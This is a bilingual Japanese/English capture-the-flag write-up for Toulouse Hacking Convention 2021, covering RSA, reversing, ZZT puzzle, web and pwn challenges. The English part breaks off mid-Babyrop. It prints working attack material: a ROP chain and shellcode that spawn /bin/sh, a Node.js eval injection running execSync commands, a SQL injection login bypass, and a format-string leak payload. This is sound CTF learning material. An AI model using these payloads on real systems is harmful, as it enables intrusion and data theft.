0
Help us understand the problem. What are the problem?

More than 1 year has passed since last update.

posted at

Toulouse Hacking Convention 2021 Writeup

English version is in the latter half of this page.

概要

Toulouse Hacking Convention 2021 (2021/06/12 16:00 ~ 2021/06/13 23:00 (JST)) に1人チームで参加した。
結果は1851点で、正の点数を取った374チーム中27位だった。

Category Breakdown
Score over Time

スコアサーバの Score over Time の表示 (時刻と点の位置の関係が不適切)

Score over Time (不正確)

解けた問題と時刻は以下のようになった。

Challenge Category Value Time (JST)
Rsa internal attacker cryptography 206 6/12 20:21:02
Living QR Code programmation 50 6/12 20:30:25
ELF x64 - Right on Time reverse 175 6/12 22:10:33
ELF x64 - BaseJumper CrackMe reverse 203 6/12 22:17:21
Unsafe Math web 226 6/12 22:29:36
SQL for dummies Intro 10 6/12 23:29:19
My first one time pad Intro 44 6/12 23:32:26
Blacklisted Intro 49 6/13 00:06:02
Clairvoyance Intro 50 6/13 01:17:34
Babyrop pwn 94 6/13 02:25:47
TUR-ROX-Y reverse 496 6/13 05:28:23
TUR-ROX-Z reverse 247 6/13 06:44:47
Welcome Intro 1 6/13 08:08:49

解けた問題

cryptography

Rsa internal attacker

Pythonのプログラムと、出力データが与えられた。
このプログラムは、以下をするものである。

  1. 1024ビットの素数2個p, qを作り、n=p*qとする
  2. このp, qに基づき、phi=(p-1)*(q-1)と互いに素な適当な値eと、phiを法とするeの逆数dを2組生成する
    この2組を(e_a, d_a), (e_b, d_b)とする
  3. FLAGe_b乗してnで割った余りを求め、cとする
  4. n, e_a, d_a, e_b, cを出力する

d_aphiを法とするe_aの逆数なので、適当な整数alphaを用いて

e_a * d_a = phi * alpha + 1

と表せる。
p, qは1024ビットの素数なので、phi=(p-1)*(q-1)は2048ビット程度になるはずである。
これに対し、e_a * d_a - 1の2を底とする対数は約2060.08だったので、alphaは12ビット程度であることがわかる。
alpha1 << 11から1 << 13で全探索して与えられたe_bからd_bを求め、
cd_b乗してnで割った余りを計算してみた。
その結果、多くの候補が見つかったが、その中にflagがあった。
なお、与えられたプログラムには

FLAG = b"THC2021{??????????????????????????????????????}"

とあったが、実際のflagはTHC2021で始まらず、これは罠だった。
なお、今回はRuleにもflagの形式は載っていなかった。

探索プログラム
search.py
n = 0x8d926c44899930f8f3fc3ea04cb9dfa7eb309b6d8e932b531007c4d8479e1dd227365087feeced8f854b1b54cc947182ee2241fe526c758e630b44e0c196ce8dc0995124f94755b0601d3454f89f178db2ffb3adeafcac2f49b656aace2acdb63afcd62a8847aadc55ca2452dff8c65ea5bfcfe03411f3b63a2bc4b244126259e2e845c68f8c1cd2d275bd2e344d35da542503c72f153ded14f766efecdfc98605e6963c4b1a7197de9e56b4b61ca1ab648265e6775819935a005a089eff04c27083d385e8d73ebf56b47f875c5fa9984e026914e1cbfc02205e75d02dc0da392700b536bf0fc8decd043736441e69fecc696b2127589f2ac9700e30c4dc88ef
e_a = 0x8095
d_a = 0x21a31ccbce8117f468e9c26e3a404659d585ea166606c85ff192466b8dd4d9650b110addef35e3effdf8cb8710235cf5843e688e977be0d32842e0b4fa493f451ad8d77d35672696cf4373eaa0c0093a6a0baa348f790fc466be559bd90e788505b795026df6e991f6e8769565e06f472a445676e2c99240eccab25cd44433e8a083e66912c7a81c81c190470188c699c1a24dac441956b46aa364623f2c78c4ffca49e89f8a6f6edc51140e744f80a968fa80901fc91b88d491829b334542fd3ef460ddfa9a729d981b0ae9fa12bd0901c919972020b5f9e661b34a914fff85732e45718a2d216018507e7406aed4543096df76ca6fcfa4ab5dd21a84f162fd
e_b = 0x22bb
c = 0x2118ee5b546b529c6b8d8fba1638f046006d7de2c10571d179af958f65d223a9a78df91daa5913f39f97d47681e1e10b8c58b6b462caf1fd56c683129ea732927cf55a06441cde5b743d00582569c9bbf43dab3d7b46ddbf03b358ca6ee075bafcc06165efa8592474bf78732dec4433502579338f2b925a922e74704cf19f7dff414a451fbc24b4ace4a9d8a072fb4259ebc8452941eb9f100f1df0cf19d5718088867a17d52d1c3f1fd5f92c9b9c55cbe528fbfd130879c14bde651a9e402f50b851c753e5915882b02a1136b43e015c6d4fd07e48aa05be08e9faf533a763f21d29a9b7fe8f355a8ffcbf11dc96b1069df4e302a3b310ecf39f25300bb375

# return (x, y) where a*x + b*y = gcd(a, b)
def kago(a, b):
    if b == 0:
        return (1, 0)
    s, t = kago(b, a % b)
    return (t, s - (a // b) * t)

x = e_a * d_a
key = "0x544843323032317b"

for i in range(1 << 11, 1 << 13):
    if (x - 1) % i == 0:
        candidate = (x - 1) // i
        if x % candidate == 1:
            d_candidate, _ = kago(e_b, candidate)
            if (d_candidate * e_b) % candidate == 1:
                decrypted = pow(c, d_candidate, n)
                hex_d = hex(decrypted)
                if True or hex_d[0:len(key)] == key:
                    print ("i = " + str(i))
                    print("candidate = " + str(candidate))
                    print(hex(decrypted))

このプログラムは計算結果を16進数で出力するので、CyberChefの From Hex で文字列にした。

THCon21{coMm0n_m0duLus_wh1th_int3rn4l_aTt4ck3r}

pwn

Babyrop

TCPサーバの接続情報と、そこで動いているELFファイルが与えられた。
ELFファイルをTDM-GCCのobjdumpで逆アセンブルして観察した結果、以下の関数を実行していた。

実行している関数
0000000000401196 <main_function>:
  401196:   f3 0f 1e fa             endbr64 
  40119a:   55                      push   %rbp
  40119b:   48 89 e5                mov    %rsp,%rbp
  40119e:   48 83 ec 20             sub    $0x20,%rsp
  4011a2:   48 8d 3d 79 0e 00 00    lea    0xe79(%rip),%rdi        # 402022 <_IO_stdin_used+0x22>
  4011a9:   e8 c2 fe ff ff          callq  401070 <puts@plt>
  4011ae:   48 8b 15 ab 2e 00 00    mov    0x2eab(%rip),%rdx        # 404060 <stdin@@GLIBC_2.2.5>
  4011b5:   48 8d 45 e0             lea    -0x20(%rbp),%rax
  4011b9:   be 00 01 00 00          mov    $0x100,%esi
  4011be:   48 89 c7                mov    %rax,%rdi
  4011c1:   e8 ba fe ff ff          callq  401080 <fgets@plt>
  4011c6:   90                      nop
  4011c7:   c9                      leaveq 
  4011c8:   c3                      retq   

これは、まずputsで文字列を出力した後、fgetsを用いて0x20バイトの領域に0x100バイトまで読み込む関数である。
さらに、.plt.secにはexecve関数 (0x401090) が用意されていた。
また、バイナリ中には

This might be useful: /bin/sh

として/bin/shという文字列がファイル中の0x201Aバイト目(0-origin)から埋め込まれていた。

問題名からROPをすることが期待されており、execve("/bin/sh", 0, 0)を実行できればいいことが起こりそうだ。
gadgetを探した所、

12c3 : pop rdi; ret
12c1 : pop rsi; pop r15; ret

が見つかったが、第3引数のrdxに値を書き込めそうな部分は見つからなかった。
CS50 IDE のGDB上で試した所、明示的にセットしなくてもrdxには0が入りそうだったので、
rdxのセットは省略してデータを送ることにした。
具体的には、以下のデータをTCP/IPテストツールで送った。

0123456789abcdef0123456789abcdef (バッファを埋める適当なデータ)
########                         (古いRBPの分の適当なデータ)
<c3><12><40><00><00><00><00><00> (pop rdi; ret のアドレス)
<1a><20><40><00><00><00><00><00> (rdi にセットする値)
<c1><12><40><00><00><00><00><00> (pop rsi; pop r15; ret のアドレス)
<00><00><00><00><00><00><00><00> (rsi にセットする値)
<00><00><00><00><00><00><00><00> (r15 にセットする値)
<90><10><40><00><00><00><00><00> (execve 関数のアドレス)
<LF>                             (fgets 関数による読み込みを終了させる)

1行にすると

0123456789abcdef0123456789abcdef########<c3><12><40><00><00><00><00><00><1a><20><40><00><00><00><00><00><c1><12><40><00><00><00><00><00><00><00><00><00><00><00><00><00><00><00><00><00><00><00><00><00><90><10><40><00><00><00><00><00><LF>

これを送信した結果、シェルの操作が可能になり、cat flag.txtコマンドによりflagが得られた。

THCon21{4Ll_0f_Th47_t0_c0ntR0L-RDx?!??}

reverse

ELF x64 - Right on Time

ELFファイルが与えられた。
TDM-GCCのobjdumpで逆アセンブルして観察した結果、main関数は以下の処理をしていた。

  1. movb命令を用い、スタック上にランダムな順番でデータを構築する
  2. time関数で時刻を取得し、下位32ビットを反転(ビットNOT)する
  3. 第1コマンドライン引数をatoi関数で数値に変換する
  4. 2と3の結果が一致した場合、"the flag"と称して謎の文字列を出力する。

以下のプログラムを用いて逆アセンブル結果からmovb命令で構築されているデータを復元した結果、
0x00区切りで以下の3個のデータが得られた。

4B5A4357515244434749324853544B594F524C45344D44514A424B455157535A4D455957593654424746424559544B454D524B5536524C504F354957595753454C4959575936535A4B354A464B57544B4C4532564533525148553D3D3D3D3D3D
n*ICE-4uRVZ}}6TuqY&x-i+h%*Z8_@B`OhEy=T3|PeQ.Hmo>v)CuI/gkSx|%m7Xzz5eBPpkk5wU4nvMZdM(LS>nl_cIINw5Hdpsv;MU$+ktdCam{D1k>*lnZZ$qe:x`]>6M-St(r)@|M}j{$f6t>443O(/b{0I?-A9PqMm$eU!Z[-Bx$V@65QIaeTuD)cX1CX>gZG@<4`-3^!taoob:+W. 9H
6

データを復元するプログラム
parse.pl
#!/usr/bin/perl

use strict;
use warnings;

my @data = ();

while (my $line = <STDIN>) {
    if ($line =~ /movb +\$(0x[0-9a-fA-F]+),-(0x[0-9a-fA-F]+)\(\%rbp\)/) {
        push(@data, "$2\t$1");
    }
}

my @data_s = sort {
    my ($a1, $a2) = split(/\t/, $a);
    my ($b1, $b2) = split(/\t/, $b);
    return hex($b1) <=> hex($a1);
} @data;

my @ress = ();
my $res = "";

for (my $i = 0; $i < @data_s; $i++) {
    print "$data_s[$i]\n";
    my ($pos, $value) = split(/\t/, $data_s[$i]);
    my $ivalue = hex($value);
    if ($ivalue == 0) {
        push(@ress, $res);
        $res = "";
    } else {
        $res .= chr($ivalue);
    }
}

push(@ress, $res);

for (my $i = 0; $i < @ress; $i++) {
    print "$ress[$i]\n";
}

"the flag"と称して出力されるのは、このうち4B5Aで始まる文字列であった。
CyberChefでこの文字列に From Hex と Magic をかけたところ、flagが得られた。
Magic の Recipe は

From_Base32('A-Z2-7=',false)
From_Base64('A-Za-z0-9+/=',true)

となった。

THCon21{U7JGLvXkYskPK07T8J0BVCgYsadTf69F}

ELF x64 - BaseJumper CrackMe

ELFファイルが与えられた。
TDM-GCCのobjdumpで逆アセンブルして観察した結果、
問題 ELF x64 - Right on Time のものに似た大量のmovb命令が出てきた。
そこで、この問題と同様にデータを復元したところ、以下の文字列が得られた。

4B5A4357515244434749324853544B594F524A46474D4B4F4B5252464B564A544B4E4B4751534443495A484553563258474649464F564C494A5A53554B3342534A354C54533453574B5634454D564B46474646464D57425148553D3D3D3D3D3D
@^TfvjUZ/<Br2N[a*x#5iPB6wFk7=^#>[^zQ.:L($#2gZ{@#}8L4sT!QmZ@Zoz3v!;^3,B9M@Mg.:. y0$-utkB4kL^js;TB(XAf%g[j YMF}=nh0=0zbex <o]y9lr;|fSlk`G?:Wx^B,YRz+rv]23kq8Qro>[5GXMQL?9U}3B% W1-;=^~&nhHg,i;<XDM5:~odeLj@~o*OA{OW})1gu
K

このうち4B5Aで始まる文字列に対し、同様にCyberChefで From Hex と Magic をかけたところ、flagが得られた。

THCon21{QKSSmE7I8GlSHYmOYHMxIv9okULEPMIU}

TUR-ROX-Z

ファイル THCON21Z.ZZT が与えられた。

問題 TUR-ROX-Y と同様にゲームを起動すると、以下の画面になった。
ゲーム初期画面
右の白い人に触ると、integrated level editor があることを教えてくれた。
上の黄色い人に触ると、flagを見つけられなければ全宇宙が巻き戻る的な話をしてくれた。

上に行くと、以下の画面になった。
上の画面
左に行くと、以下の画面になった。
左の画面
さらに左に行くと、以下の画面になった。
さらに左の画面

どうやら、上の画面の謎を解かないといけないようだ。
ここで、integrated level editor があるという情報と、言語のリファレンスが紹介されているということに注目した。
結論から言えば、上の画面を編集モードで開き、設定を見たり手を加えたりすることで、謎解きの手がかりになった。

画面中央の?のまわりを囲っている黄色い壁を消すことで、?に触れるようになり、これで状態を見ることができる。
右側の赤で囲まれた黒い四角の中には、編集モードだと隠された壁とオブジェクトがあることがわかったので、
それぞれ見えるように書き換えた。
また、それぞれの!、逆向きの!、左側の顔にプログラムが割り当てられていたので、チェックした。

青い部分では、左側の逆向きの!を押すとGemが1ずつ増える。
右側の逆向きの!を押すと、一度目はGemが4個減り、二度目に押した時にGemが0個ならば成功状態になる。
よって、左側の逆向きの!を4回押した後、右側の逆向きの!を2回押せばよい。

赤い部分では、左側の逆向きの!を押すと右側の四角の中のオブジェクトが上に1マス、
右側の逆向きの!を押すと右側の四角の中のオブジェクトが右に1マス動く。
これらを用い、オブジェクトを右上の行き止まりまで動かすことで、成功状態になる。
すなわち、左側を2回、右側を4回、左側を2回、右側を2回の順で押せばよい。

緑の部分では、リファレンスも参考にしつつプログラムを読み解くことを要求された。
左側の逆向きの!を押すと、#zap Checker12:lblMultiが実行される。
右側の逆向きの!を押すと、#restore Checker12:lblMultiが実行される。
さらに、左の顔に触ると、Checker12lblMultiが送られる。
Checker12とは上の!のことであり、以下のプログラムが割り当てられている。

Checker12 のプログラム
@Checker12
#end

:lblMulti
#set flagOkA1
#zap lblMulti
#send lblMulti
' "set OK A1"
#end

:lblMulti
:lblMulti
:lblMulti
:lblMulti
:lblMulti
:lblMulti
#set flagFailA
' "pwnz 2 zzzz
#send GlobCheck:lblBack12
#end

:lblMulti
#set flagOkA2
' "gg  !"
#send GlobCheck:lblBack12
#end

:lblMulti
:lblMulti
#set flagFailA
' "pwnz last"
#send GlobCheck:lblBack12
#end

リファレンスより、#zapはラベル(:で始まる行)1個をコメントにして無効化するコマンド、
#restoreは無効化されたラベル1個を復活させるコマンドである。
結論としては、

  1. 左の逆向きの!を7回押し、#set flagOkA2の前の:lblMultiを露出させる
  2. 右の逆向きの!を1回押し、最初の:lblMultiを復活させる
  3. 他の部分の状態を整え、左側の顔を押す

という操作をすることで、#set flagOkA1#set flagOkA2の両方を通り、成功状態にできた。

最終的には以下の状態で正解となり、
最初の画面の文字とこの状態でのそれぞれの逆向きの!の位置を組み合わせることで、flagが得られた。

正解の状態

THCon21{Z824753}

TUR-ROX-Y

ファイル THCON21Y.ZZT が与えられた。

まず、「zzt」でググった結果、MS-DOSのゲームであることがわかった。
ZZT - Wikipedia
本体は GitHub - asiekierka/reconstruction-of-zzt: The Reconstruction of ZZT
動かすためのエミュレータは zeta
で入手できた。
zetaを解凍したディレクトリに、ゲーム本体を解凍したデータと問題のファイルを入れて動かす。

ゲームを起動すると、以下の画面になった。
ゲーム初期画面
右に行くと、以下の画面になった。
右の画面
上に行くと、以下の画面になった。なお、時間が経つと画面が崩れていった。
上の画面
下に行くと、以下の画面になった。なお、左下のhashの情報は時間が経つと崩れた。
下の画面
ここからさらに左に行くと、以下のような感じで26ページにわたってコードが表示される場所になっていた。
コードの表示画面
そこで、このコード(PuzzleScript)を気合で写経した。

下の画面の情報を参考に、
PuzzleScript - an open-source HTML5 puzzle game engine
を開いて Make A Game を押し、開いた画面の左側に写経したコードを貼り付けて画面上部の RUN を押すことで、
また別のゲームが始まった。
これは、8個のスイッチを操作するとそれに対応して上にある5個の絵が変わるので、
うまくスイッチを操作して5個全部を紫にするというゲームである。
最初の面は手動で試行錯誤することでクリアできたが、次はなかなか突破できなそうだった。
そこで、Hot Soup Processorを利用し、キーボード操作を自動化してスイッチのパターンを全探索した。
この全探索では、常に1ビット切り替えるだけで次の状態へ行けるグレイコードを利用することで、
切り替え操作の手間を減らした。

全探索(自動操作)プログラム

プレイヤーが右端のスイッチの下にいる状態でこのプログラムを起動し、
3秒以内にキー操作がゲームに伝わる状態にする。

zentan.hsp
#include "hspext.as"

gsel 0, 2

mes "start after 3 sec."
wait 300

aplfocus

KEY_LEFT = 37
KEY_UP = 38
KEY_RIGHT = 39

x = 7
value = 0

for i, 0, 256, 1
    target = i ^ (i >> 1)
    for j, 0, 8, 1
        if (((target ^ value) >> (7 - j)) & 1) != 0 {
            while x > j
                aplkey KEY_LEFT
                x = x - 1
                wait 1
            wend
            while x < j
                aplkey KEY_RIGHT
                x = x + 1
                wait 1
            wend
            aplkey KEY_UP
            wait 1
        }
    next
    value = target
    title strf("%3d", i) + " / " + strf("%02X", target)
    wait 50
next

このゲームは3面あり、それぞれ以下の状態が正解であった。

ステージ1 ステージ2 ステージ3
ステージ1 ステージ2 ステージ3

ゲーム内のメッセージに従い、ここまで得られた情報を以下の位置に組み合わせることで、flagが得られた。

  • 最初の画面:THCon21{Y...}
  • PuzzleScriptを改行コードLF、最後の改行なしにした時のSHA-256ハッシュの最後の2文字:THCon21{-95----}
  • ゲームのステージ2クリア時の表示:THCon21{---E5--}
  • ゲームのステージ3クリア時の表示:THCon21{-----CD}
THCon21{Y95E5CD}

Windows

残念ながら解けた問題は無かった。

steganography

残念ながら解けた問題は無かった。

web

Unsafe Math

WebページのURLと、そのページのサーバのプログラム index.js が与えられた。
Webページには、widthheightの入力欄(type="number")と、Submitボタンがあった。
index.js は、データがPOSTされた時、
width.lengthheight.lengthがそれぞれ10以下かをチェックした上で、
eval('(' + width + '**2 + ' + height + '**2) ** (1/2);')の評価結果を返すものだった。

San Diego CTF 2021 の GETS Request で学んだように、
lengthプロパティは配列を渡すと1になり、チェックを無効化できる。

Node.jsからシェルコマンドを実行する - BppLOG
より、execSync関数を使うことで、コマンドを実行して結果を受け取れるようである。

これを利用してコマンドを実行し、調査を行った。
まず、フォームの

<input name="width" type="number" min="0">

を、Firefoxの開発者ツールで

<input name="width[]" type="text" min="0">

に書き換えた。
この欄に

require('child_process').execSync("ls /")).toString() + (1

を、heightの欄には1を入れてSubmitボタンを押すことで、ls /の実行結果を得ることができた。
以下、heightの欄には1を入れることにする。
実行結果にはchallがあったため、次にwidth[]の欄に

require('child_process').execSync("ls /chall")).toString() + (1

を入れてSubmitボタンを押し、ls /challの実行結果を得た。
その中にsec9et_fl46.txtがあったため、width[]の欄に

require('fs').readFileSync("/chall/sec9et_fl46.txt", "utf-8")).toString() + (1

を入れて送信することで、このファイルを読み、flagを得ることができた。
ファイルの読み方については、ここが参考になる。
[node.js] テキストファイルを読みこみ - Qiita

THCon21{t34cHiN6_1s_N0t_sO_3@sY}

app script

残念ながら解けた問題は無かった。

programmation

Living QR Code

ファイル living_QR.gif が与えられた。
これはGIFアニメーションであった。

Giamで開いてみると、41コマあり、各コマにそれぞれ1個ずつQRコードがあった。
Psytec QR Code Editor を用いて手動で1コマずつ読み取り、結果を順番に並べることで、flagが得られた。

THCon21{Ba5ukumqmZIVJ2onznXkfY61YS7Cxdi6}

「QRコード」は(株)デンソーウェーブの登録商標です。

Intro

Welcome

Discordの招待リンクが与えられた。
Webブラウザからサーバに参加してflagを探したところ、
チャンネル#📄-règlesおよび#📄-rulesの画面上部と「始まりです。」の右にflagが書かれていた。
画面上部をクリックすると、flagがコピーできる形で表示された。

THCon21{H31l0_th3re!}

SQL for dummies

WebページのURLが与えられた。
Webページは、

  • Username の入力欄
  • Password の入力欄
  • Log In ボタン

からなるフォームだった。

Usernameに ' or 1=1 -- 、Passwordに a を入力して Log In ボタンを押すと、flagが表示された。

THCon21{eA3y*QL_1nject0R}

My first one time pad

以下のファイル plaintext.txt および encrypted.txt が与えられた。

plaintext.txt
I encrypted a secret flag with one time pad, the result here: 092224674e49392d631f0f5611124274193157441a2e5c2d494e1c1c2d560b204751
encrypted.txt
064e004e171b141554150544414900450a1c4500480303131e00070c060e450c1a49003d491e0d4f050d000c48151e000007161655181c45480e171c1a4f

また、問題文は

I encrypt my flag with a secret key, unfortunately I also encrypted the whole file with the same key could you retrieve the flag ?

とのことである。

ワンタイムパッドでの暗号化は平文と鍵のxorのはずなので、暗号文と平文をxorすれば鍵が出てくる。

CyberChefを用い、Input を plaintext.txt の内容として、

  1. Keyをencrypted.txtの内容(HEX)としてXOR
  2. Keyをplaintext.txtthe result here:の後のやつ(HEX)としてXOR

をすることで、flagが得られた。

THCon21{1Tp_w0rK3_0nly_0nC3}

Blacklisted

TCPサーバの接続情報と、そこで動いているELFファイルが与えられた。
ELFファイルをTDM-GCCのobjdumpで逆アセンブルして読むと、以下の処理をしているようだった。

  1. メッセージを出力する
  2. read関数を用いて入力を読み込む
  3. strncpy関数を用いて入力をコピーする
  4. check_blacklist関数で入力のコピーをチェックする
  5. チェックが通れば、callq命令で入力のコピーを実行する

また、ELFファイルをバイナリエディタで開くと、以下の文字列が見えた。

/bin/
/tmp/
flag.txt
sh
[-] Error while allocating shellcode area
Please feed me (%d bytes max): 
[-] Error while reading input.

このことから、シェルコードの入力を求められており、
かつ入力が/bin//tmp/flag.txtshのいずれかを含むと弾かれそうだと推測できた。
さらに、strncpyを用いているため、バイト0x00を含むと切れてしまうことにも注意が必要である。

これらを踏まえ、以下のシェルコードをNASMでアセンブルし、
Tera Termのファイル送信(ファイルの内容を貼り付け) (バイナリ)で送ることで、シェルの操作が可能になった。
さらに、コマンド cat flag.txt を実行することで、flagが得られた。

シェルコード
shellcode.asm
bits 64
mov rax, 0x2F62696E2F736820 ; /bin/sh
sub rax, 0x20
bswap rax
push rax
mov al, 59
movzx eax, al
mov rdi, rsp
xor esi, esi
xor edx, edx
syscall

アセンブル結果:

48 b8 20 68 73 2f 6e 69 62 2f 48 83 e8 20 48 0f
c8 50 b0 3b 0f b6 c0 48 89 e7 31 f6 31 d2 0f 05

THCon21{w3ll_s0_y0u_sp34K_P4r53l70ngu3??}

Clairvoyance

TCPサーバの接続情報と、そこで動いているELFファイルが与えられた。
ELFファイルをTDM-GCCのobjdumpを逆アセンブルして読むと、以下の処理をするものだった。

  1. read_flag関数を呼び出し、flag.txtの内容を0x404080番地に読み込む
  2. fgets関数を呼び出し、スタック上に0x1fバイトまで読み込む
  3. fgets関数を呼び出し、スタック上に0x7バイトまで読み込む
  4. 2番目に読み込んだ内容がyesであれば、最初に読み込んだ内容をprintf関数の第1引数に渡す

2のところで

%p%p%p%p%p%p%p%p%p%p%p%p%p%p

を入れると、以下の出力が得られた。 (見やすいように改行を補っている)

0x7fff68c0a370
0x7fc2287088c0
(nil)
0x1f
0x7fc2287088d0
0x7fff68c0cb38
0x100401365
0x7fc22871cb40
0xa736579
0x7025702570257025
0x7025702570257025
0x7025702570257025
0xa70257025
0x401320

ここで、10番目から入力した内容が見えていることに注目する。
入力した内容はスタックに置かれるため、printf関数が出力する内容を読み出す場所と被っているのである。
この性質の発見には、ここが参考になった。
日記: CTF やってみた(3)|zk_phi|note

printfの第1引数は文字列であるため0x00のバイトで止まることに注意し、TCP/IPテストツール

%11$s###<80><40><40><00><00><00><00><00><LF>

を送ったところ、flagが得られた。

THCon21{y0u_jUsT__n33d_t0_0p3n_Y0uR_3y35!}

About

I participated in Toulouse Hacking Convention 2021 (June 12, 2021 16:00 - June 13, 2021 23:00 (JST: UTC+9)) as a one-person team.
I earned 1851 points and ranked 27th among 374 teams that earned positive score.

Category Breakdown
Score over Time

The Score over Time on the system (the relation between the time and plotting points is not good)

Score over Time (not good)

Challenges I solved and time that I solved them on are:

Challenge Category Value Time (JST: UTC+9)
Rsa internal attacker cryptography 206 6/12 20:21:02
Living QR Code programmation 50 6/12 20:30:25
ELF x64 - Right on Time reverse 175 6/12 22:10:33
ELF x64 - BaseJumper CrackMe reverse 203 6/12 22:17:21
Unsafe Math web 226 6/12 22:29:36
SQL for dummies Intro 10 6/12 23:29:19
My first one time pad Intro 44 6/12 23:32:26
Blacklisted Intro 49 6/13 00:06:02
Clairvoyance Intro 50 6/13 01:17:34
Babyrop pwn 94 6/13 02:25:47
TUR-ROX-Y reverse 496 6/13 05:28:23
TUR-ROX-Z reverse 247 6/13 06:44:47
Welcome Intro 1 6/13 08:08:49

Challenges I solved

cryptography

Rsa internal attacker

A Python program and its output data were given.
The program does the following:

  1. Generate two 1024-bit prime numbers p, q and set n=p*q
  2. Using these p, q, generate two pairs of a random value e which is co-prime to phi=(p-1)*(q-1) and d which is a reciprocal of d modulo phi. Name these pairs as (e_a, d_a) and (e_b, d_b).
  3. Calculate FLAG to the e_b-th power modulo n and name it as c.
  4. Output n, e_a, d_a, e_b, c.

Since d_a is a reciprocal of e_a modulo phi, it can be expressed using some integer alpha:

e_a * d_a = phi * alpha + 1

p and q are 1024-bit prime numbers, so phi=(p-1)*(q-1) should be around 2048 bits.
On the other hand, the binary logarithm of e_a * d_a - 1 was about 2060.08, so the alpha should be about 12 bits.
Seeing this, I obtained d_b from the e_b given and calculated c to the d_b-th power modulo n using each alpha from 1 << 11 to 1 << 13.
Many candidates were found by that, and one of them was the flag.

By the way, the program given had a line:

FLAG = b"THC2021{??????????????????????????????????????}"

but the actual flag didn't begin with THC2021.
Also the format of the flag was not in the Rule.

The program to search for the proper alpha
search.py
n = 0x8d926c44899930f8f3fc3ea04cb9dfa7eb309b6d8e932b531007c4d8479e1dd227365087feeced8f854b1b54cc947182ee2241fe526c758e630b44e0c196ce8dc0995124f94755b0601d3454f89f178db2ffb3adeafcac2f49b656aace2acdb63afcd62a8847aadc55ca2452dff8c65ea5bfcfe03411f3b63a2bc4b244126259e2e845c68f8c1cd2d275bd2e344d35da542503c72f153ded14f766efecdfc98605e6963c4b1a7197de9e56b4b61ca1ab648265e6775819935a005a089eff04c27083d385e8d73ebf56b47f875c5fa9984e026914e1cbfc02205e75d02dc0da392700b536bf0fc8decd043736441e69fecc696b2127589f2ac9700e30c4dc88ef
e_a = 0x8095
d_a = 0x21a31ccbce8117f468e9c26e3a404659d585ea166606c85ff192466b8dd4d9650b110addef35e3effdf8cb8710235cf5843e688e977be0d32842e0b4fa493f451ad8d77d35672696cf4373eaa0c0093a6a0baa348f790fc466be559bd90e788505b795026df6e991f6e8769565e06f472a445676e2c99240eccab25cd44433e8a083e66912c7a81c81c190470188c699c1a24dac441956b46aa364623f2c78c4ffca49e89f8a6f6edc51140e744f80a968fa80901fc91b88d491829b334542fd3ef460ddfa9a729d981b0ae9fa12bd0901c919972020b5f9e661b34a914fff85732e45718a2d216018507e7406aed4543096df76ca6fcfa4ab5dd21a84f162fd
e_b = 0x22bb
c = 0x2118ee5b546b529c6b8d8fba1638f046006d7de2c10571d179af958f65d223a9a78df91daa5913f39f97d47681e1e10b8c58b6b462caf1fd56c683129ea732927cf55a06441cde5b743d00582569c9bbf43dab3d7b46ddbf03b358ca6ee075bafcc06165efa8592474bf78732dec4433502579338f2b925a922e74704cf19f7dff414a451fbc24b4ace4a9d8a072fb4259ebc8452941eb9f100f1df0cf19d5718088867a17d52d1c3f1fd5f92c9b9c55cbe528fbfd130879c14bde651a9e402f50b851c753e5915882b02a1136b43e015c6d4fd07e48aa05be08e9faf533a763f21d29a9b7fe8f355a8ffcbf11dc96b1069df4e302a3b310ecf39f25300bb375

# return (x, y) where a*x + b*y = gcd(a, b)
def kago(a, b):
    if b == 0:
        return (1, 0)
    s, t = kago(b, a % b)
    return (t, s - (a // b) * t)

x = e_a * d_a
key = "0x544843323032317b"

for i in range(1 << 11, 1 << 13):
    if (x - 1) % i == 0:
        candidate = (x - 1) // i
        if x % candidate == 1:
            d_candidate, _ = kago(e_b, candidate)
            if (d_candidate * e_b) % candidate == 1:
                decrypted = pow(c, d_candidate, n)
                hex_d = hex(decrypted)
                if True or hex_d[0:len(key)] == key:
                    print ("i = " + str(i))
                    print("candidate = " + str(candidate))
                    print(hex(decrypted))

This program outputs the results in hexadecimal, so I converted them to string via "From Hex" in CyberChef.

THCon21{coMm0n_m0duLus_wh1th_int3rn4l_aTt4ck3r}

pwn

Babyrop

Information to connect to a TCP server and an ELF file running there were given.
I disassembled the ELF file via objdump from TDM-GCC, and found that it executes the following function:

The function executed
0000000000401196 <main_function>:
  401196:   f3 0f 1e fa             endbr64 
  40119a:   55                      push   %rbp
  40119b:   48 89 e5                mov    %rsp,%rbp
  40119e:   48 83 ec 20             sub    $0x20,%rsp
  4011a2:   48 8d 3d 79 0e 00 00    lea    0xe79(%rip),%rdi        # 402022 <_IO_stdin_used+0x22>
  4011a9:   e8 c2 fe ff ff          callq  401070 <puts@plt>
  4011ae:   48 8b 15 ab 2e 00 00    mov    0x2eab(%rip),%rdx        # 404060 <stdin@@GLIBC_2.2.5>
  4011b5:   48 8d 45 e0             lea    -0x20(%rbp),%rax
  4011b9:   be 00 01 00 00          mov    $0x100,%esi
  4011be:   48 89 c7                mov    %rax,%rdi
  4011c1:   e8 ba fe ff ff          callq  401080 <fgets@plt>
  4011c6:   90                      nop
  4011c7:   c9                      leaveq 
  4011c8:   c3                      retq   

This function prints some strings via puts and read at most 0x100 bytes in a 0x20-byte region via fgets.
Also, there was the execve function (0x401090) in the .plt.sec.

Also, the binary file had a string /bin/sh from the 0x201A-th byte (the first byte is 0th).

This might be useful: /bin/sh

The name of the challenge was suggesting that I should do some ROP.
Something useful should happen when I succeed to execute execve("/bin/sh", 0, 0).
Searching for the gadgets, I found:

12c3 : pop rdi; ret
12c1 : pop rsi; pop r15; ret

But I couldn't found gadgets to write values to rdx, which is used as the 3rd argument.
Trying on the GDB in CS50 IDE, 0 looked stored to rdx even when I didn't put it explicitly, so I decided to omit setting of rdx and send some data to the server.

I sent this data via TCP/IPテストツール (Japanese page and software):

0123456789abcdef0123456789abcdef (some random data to fill the region)
########                         (some random data for previous RBP)
<c3><12><40><00><00><00><00><00> (the address of pop rdi; ret)
<1a><20><40><00><00><00><00><00> (the value to put in rdi)
<c1><12><40><00><00><00><00><00> (the address of pop rsi; pop r15; ret)
<00><00><00><00><00><00><00><00> (the value to put in rsi)
<00><00><00><00><00><00><00><00> (the value to put in r15)
<90><10><40><00><00><00><00><00> (the address of the function execve)
<LF>                             (have the function fgets finish reading)

In one line:

0123456789abcdef0123456789abcdef########<c3><12><40><00><00><00><00><00><1a><20><40><00><00><00><00><00><c1><12><40><00><00><00><00><00><00><00><00><00><00><00><00><00><00><00><00><00><00><00><00><00><90><10><40><00><00><00><00><00><LF>

(<xx> means a byte with the hexadecimal value and <LF> means a byte 0x0A)

The shell became available after sending this.
